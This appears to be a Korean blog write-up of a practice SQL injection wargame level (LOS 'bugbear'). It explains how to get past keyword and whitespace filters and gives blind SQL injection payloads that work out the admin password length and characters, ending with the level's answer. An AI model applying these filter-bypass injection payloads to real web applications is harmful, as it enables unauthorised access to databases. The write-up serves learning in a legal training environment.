티스토리 뷰

hacking/LOS

<LOS> - 13번(bugbear)

khe0616 2018. 4. 29. 16:52













id = "admin" 인 계정의 pw를 알아내야 하는 문제이다.

pw 는 싱글쿼터에 대한 필터링이 되어있고,

no는 substr, =, or, and, 공백, like 등에 대해 필터링이 되어있다.








일단 admin의 pw 길이를 알아내야 한다!

필터링 우회를 위해

싱글 쿼터 -> 더블 쿼터

or -> ||

and -> %26

공백 -> %09, %0a

= -> in

으로 대체 하였다.



?no=""||id%09in("admin")%26%26length(pw)%09in%09(8)

위와 같이 입력하면 Hello admin이 출력된다. pw의 길이는 8이다.










pw의 길이를 알아냈으니, pw의 각 자리를 알아내야 한다.

지금까지는 substr을 이용했지만 필터링이 되어있기 때문에, mid를 이용하였다.


?no=""||id%0ain("admin")%26%26mid(pw,1,1)%09in%09(7)

를 입력했을때, Hello admin이 출력된다. pw의 첫 번째 자리는 7이다!







바로 위의 과정을 반복하는 것이 너무 비효율적이라 파이썬으로 코딩해서 pw를 얻어냈다.







73502773을 입력했는데 클리어가 안된다. 구글에 풀이법을 검색해봤더니, 735c2773이 정답이라고 한다.





그래서

?no=""||id%0ain("admin")%26%26mid(pw,4,1)%09in%09(0)

?no=""||id%0ain("admin")%26%26mid(pw,4,1)%09in%09("c")

를 입력해봤는데, 둘다 Hello admin이 출력된다.

내가 잘못 된건지, 문제가 잘못 된건지는 잘 모르겠다.








735c2773을 입력하면 클리어



'hacking > LOS' 카테고리의 다른 글

<LOS> - 15번(assassin)  (0) 2018.04.29
<LOS> - 14번(giant)  (0) 2018.04.29
<LOS> - 12번(darkknight)  (0) 2018.04.09
<LOS> - 11번(golem)  (0) 2018.04.09
<LOS> - 10번(skeleton)  (0) 2018.04.09
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
TAG
more
«   2024/07   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31
글 보관함